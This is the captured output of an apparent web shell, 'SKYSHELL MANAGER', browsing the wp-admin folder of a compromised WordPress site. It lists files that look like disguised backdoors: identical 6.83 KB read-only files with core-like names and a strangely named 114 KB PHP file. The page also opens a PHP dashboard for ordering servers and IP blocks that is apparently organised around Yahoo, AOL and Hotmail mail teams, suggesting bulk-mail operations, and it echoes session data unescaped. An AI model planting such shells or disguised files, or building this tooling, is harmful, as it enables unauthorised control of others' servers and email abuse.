📁
SKYSHELL MANAGER
PHP v8.1.29
Create
Create
Path:
root
/
var
/
www
/
html
/
wxwpsite
/
fungiftdeals
/
wp-admin
/
Name
Size
Perm
Actions
📁
css
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
includes
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
maint
-
0755
🗑️
🏷️
🔒
📁
network
-
0755
🗑️
🏷️
🔒
📁
user
-
0755
🗑️
🏷️
🔒
📄
about.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-footer.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-functions.php
0.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
12.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
5.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
authorize-application.php
10.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
comment.php
11.37 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
custom-header.php
0.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
customize.php
11.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-blocks.php
14.73 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
19.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
export-personal-data.php
7.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
font-library.php
1.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
home.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
7.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-upload.php
3.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
menu-header.php
9.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
network.php
5.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
press-this.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
privacy.php
2.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
setup-config.php
17.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
themes.phpwp-update.php
114.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update.php
12.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-edit.php
40.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets-form-blocks.php
5.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: server-requirement.php
<?php require_once 'config/auth.php'; require_once 'config/db.php'; // Allow only User if (!isset($_SESSION['user']) || $_SESSION['user']['role'] !== 'User') { header("Location: index.php"); exit; } $username = mysqli_real_escape_string($conn, $_SESSION['user']['username']); $result = mysqli_query($conn, " SELECT * FROM server_requirements WHERE username = '$username' ORDER BY id DESC "); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title><?php echo $_SESSION['user']['company']; ?></title> <link rel="icon" type="image/svg+xml" href="<?php echo $_SESSION['user']['fav']; ?>"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/5.3.3/css/bootstrap.min.css"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bootstrap-icons/1.11.3/font/bootstrap-icons.min.css"> <link rel="preconnect" href="https://fonts.googleapis.com"> <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700;800&display=swap" rel="stylesheet"> <link rel="stylesheet" href="css/style.css"> </head> <body class="dash-body"> <div class="sidebar-backdrop"></div> <!-- ===================== SIDEBAR ===================== --> <aside class="sidebar"> <a href="#" class="sidebar-brand text-decoration-none"> <img src="<?php echo htmlspecialchars($_SESSION['user']['logo']); ?>" alt="<?php echo $_SESSION['user']['company']; ?>" width="150"> </a> <nav class="sidebar-nav"> <div class="sidebar-section-label">Main</div> <a href="server-requirement.php" class="nav-link active"><i class="bi bi-file-earmark-plus"></i> Server Requirement</a> <a href="server-status.php" class="nav-link"><i class="bi bi-list-check"></i> Server Status</a> </nav> <div class="sidebar-footer"> <div class="mt-4 small text-center"> <small>Developed by - Redaries</small> </div> </div> </aside> <!-- ===================== MAIN ===================== --> <div class="main-wrap"> <div class="topbar"> <div class="d-flex align-items-center gap-3"> <button class="btn btn-menu btn-outline-secondary"><i class="bi bi-list"></i></button> <div> <div class="fw-bold">Server Requirement</div> <div class="breadcrumb-mini">Dashboard / Server Requirement</div> </div> </div> <div class="d-flex align-items-right gap-3"> <div class="dropdown"> <button class="btn btn-outline-secondary dropdown-toggle small" type="button" data-bs-toggle="dropdown"> <i class="bi bi-person-circle"></i> <?php echo htmlspecialchars($_SESSION['user']['username']); ?> </button> <ul class="dropdown-menu dropdown-menu-end"> <li> <a class="dropdown-item text-danger" href="logout.php"> <i class="bi bi-box-arrow-right me-2"></i> Logout </a> </li> </ul> </div> </div> </div> <div class="page-content"> <!-- PHP: show a success/error alert here after form submission, e.g. via $_SESSION['flash'] --> <!-- <div class="alert alert-success">Your server requirement has been submitted successfully.</div> --> <div class="row g-4"> <div class="col-lg-8"> <div class="card-panel"> <div class="card-panel-head"> <h6 class="fw-bold mb-0">New Server Requirement</h6> <span class="text-muted small">Fields marked * are required</span> </div> <div class="card-panel-body"> <?php if(isset($_SESSION['success'])) { ?> <div class="alert alert-success alert-dismissible fade show" role="alert"> <i class="bi bi-check-circle-fill"></i> <?php echo $_SESSION['success']; unset($_SESSION['success']); ?> <button type="button" class="btn-close" data-bs-dismiss="alert"></button> </div> <?php } ?> <?php if(isset($_SESSION['error'])) { ?> <div class="alert alert-danger alert-dismissible fade show" role="alert"> <i class="bi bi-x-circle-fill"></i> <?php echo $_SESSION['error']; unset($_SESSION['error']); ?> <button type="button" class="btn-close" data-bs-dismiss="alert"></button> </div> <?php } ?> <!-- PHP: point this at your submission handler --> <form action="requirement_submit.php" method="post"> <h6 class="fw-bold text-brand mb-3"><i class="bi bi-person-badge"></i> Requester Details</h6> <div class="row g-3 mb-4"> <div class="col-md-6"> <label class="form-label fw-semibold small">Buyer Name *</label> <input type="text" name="username" class="form-control" value="<?php echo htmlspecialchars($user['username']); ?>" readonly> </div> <div class="col-md-6"> <label class="form-label fw-semibold small">Company *</label> <input type="text" name="company" class="form-control" value="<?php echo htmlspecialchars($user['company']); ?>" readonly> </div> <div class="col-md-6"> <label class="form-label fw-semibold small">Department *</label> <select name="department" id="department" class="form-select" required> <option value="">Select Department</option> <option value="Production">Production</option> <option value="Technical">Technical</option> </select> </div> <div class="col-md-6"> <label class="form-label fw-semibold small">Team *</label> <select name="team" id="team" class="form-select" required> <option value="">Select Team</option> </select> </div> </div> <h6 class="fw-bold text-brand mb-3"><i class="bi bi-hdd-rack"></i> Server Details</h6> <div class="row g-3 mb-4"> <div class="col-md-6"> <label class="form-label fw-semibold small">Subnet *</label> <select name="subnet" id="subnet" class="form-select" required> <option value="">Select Subnet</option> <option value="Bigclass">Big Class</option> <option value="Smallclass">Small Class</option> </select> </div> <div class="col-md-6"> <label class="form-label fw-semibold small">Class *</label> <select name="class" id="class" class="form-select" required> <option value="">Select Class</option> </select> </div> <div class="col-md-6"> <label class="form-label fw-semibold small">Network Provider *</label> <select name="networkprovider" id="networkprovider" class="form-select" required> <option value="">Select Provider</option> </select> </div> <div class="col-md-6"> <label class="form-label fw-semibold small">Host Name</label> <input type="text" name="hostname" class="form-control" placeholder="Domain Name"> </div> <div class="col-md-6" id="emailTrackingBox" style="display:none;"> <label class="form-label fw-semibold small"> Email Tracking </label> <div class="form-check"> <input class="form-check-input" type="checkbox" name="email_tracking" id="email_tracking" value="1"> <label class="form-check-label" for="email_tracking"> Enable Email Tracking System </label> </div> </div> </div> <h6 class="fw-bold text-brand mb-3"><i class="bi bi-flag"></i> Priority & Timeline</h6> <div class="row g-3 mb-4"> <div class="col-md-6"> <label class="form-label fw-semibold small">Priority</label> <select name="priority" class="form-select" required> <option value="low">Low</option> <option value="medium" selected>Medium</option> <option value="high">High</option> <option value="urgent">Urgent</option> </select> </div> <div class="col-md-6"> <label class="form-label fw-semibold small">Required By Date </label> <input type="date" name="required_by" class="form-control"> </div> <div class="col-12"> <label class="form-label fw-semibold small">Additional Short Notes / Justification</label> <textarea name="notes" class="form-control" rows="4" placeholder="Describe the purpose of this server and any special requirements..."></textarea> </div> </div> <button type="submit" class="btn btn-brand px-4"><i class="bi bi-send"></i> Submit Requirement</button> <button type="reset" class="btn btn-outline-secondary px-4">Clear Form</button> </form> </div> </div> </div> <div class="col-lg-4"> <div class="card-panel mb-4"> <div class="card-panel-head"><h6 class="fw-bold mb-0">How it works</h6></div> <div class="card-panel-body"> <div class="d-flex gap-3 mb-3"> <div class="stat-icon flex-shrink-0" style="background:#eef2ff;color:#4f46e5;width:36px;height:36px;font-size:.9rem;">1</div> <div><strong class="d-block small">Submit</strong><span class="text-muted small">Fill in your server requirement details.</span></div> </div> <div class="d-flex gap-3 mb-3"> <div class="stat-icon flex-shrink-0" style="background:#eef2ff;color:#4f46e5;width:36px;height:36px;font-size:.9rem;">2</div> <div><strong class="d-block small">Review</strong><span class="text-muted small">Our infra team reviews and approves your request.</span></div> </div> <div class="d-flex gap-3 mb-3"> <div class="stat-icon flex-shrink-0" style="background:#eef2ff;color:#4f46e5;width:36px;height:36px;font-size:.9rem;">3</div> <div><strong class="d-block small">Configure</strong><span class="text-muted small">The server is provisioned and configured.</span></div> </div> <div class="d-flex gap-3"> <div class="stat-icon flex-shrink-0" style="background:#dcfce7;color:#166534;width:36px;height:36px;font-size:.9rem;"><i class="bi bi-check2"></i></div> <div><strong class="d-block small">Success</strong><span class="text-muted small">Server is ready — track status anytime on the Server Request page.</span></div> </div> </div> </div> </div> </div> </div> </div> <script> const teams = { Production: [ "Yahoo", "AOL", "Hotmail", "Cables", "Others" ], Technical: [ "CNAME", "Redirection", "Database", "Others" ] }; const department = document.getElementById("department"); const teamSelect = document.getElementById("team"); const emailTrackingBox = document.getElementById("emailTrackingBox"); const emailTracking = document.getElementById("email_tracking"); department.addEventListener("change", function () { const selectedDepartment = this.value; /* Clear Team */ teamSelect.innerHTML = '<option value="">Select Team</option>'; /* Add Teams */ if (teams[selectedDepartment]) { teams[selectedDepartment].forEach(function(team) { const option = document.createElement("option"); option.value = team; option.textContent = team; teamSelect.appendChild(option); }); } /* Email Tracking */ if (selectedDepartment === "Production") { emailTrackingBox.style.display = "block"; } else { emailTrackingBox.style.display = "none"; // Uncheck when Technical is selected emailTracking.checked = false; } }); </script> <script> const classes = { Bigclass: ["/24", "/23", "/22"], Smallclass: ["/30", "/29", "/28", "/27", "/26", "/25"] }; const providers = { Bigclass: [ "DMS", "GZ System", "Hosthrone", "HostVantage", "IP Traders", "IPv4Depot", "IPv4Online", "Larus", "Main VPS", "PubConcierge", "ServerHub", "ServerMania", "Kontrast", "All Tech Cloud Services", "Others" ], Smallclass: [ "Leaseweb - UK", "1and1", "BigRock", "Cari.net", "Contabo", "Datawagon", "InMotion Hosting", "MassiveGrid", "OVHcloud", "SharkTech", "Virtual System", "ColoCrossing", "AlexHost", "Others" ] }; document.getElementById("subnet").addEventListener("change", function () { const selectedSubnet = this.value; const classSelect = document.getElementById("class"); const providerSelect = document.getElementById("networkprovider"); // Clear Class classSelect.innerHTML = '<option value="">Select Class</option>'; // Clear Provider providerSelect.innerHTML = '<option value="">Select Provider</option>'; // Load Class options classes[selectedSubnet].forEach(function(item) { let option = document.createElement("option"); option.value = item; option.text = item; classSelect.appendChild(option); }); // Load Provider options providers[selectedSubnet].forEach(function(item) { let option = document.createElement("option"); option.value = item; option.text = item; providerSelect.appendChild(option); }); }); </script> <script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/5.3.3/js/bootstrap.bundle.min.js"></script> <script src="js/app.js"></script> </body> </html>
Save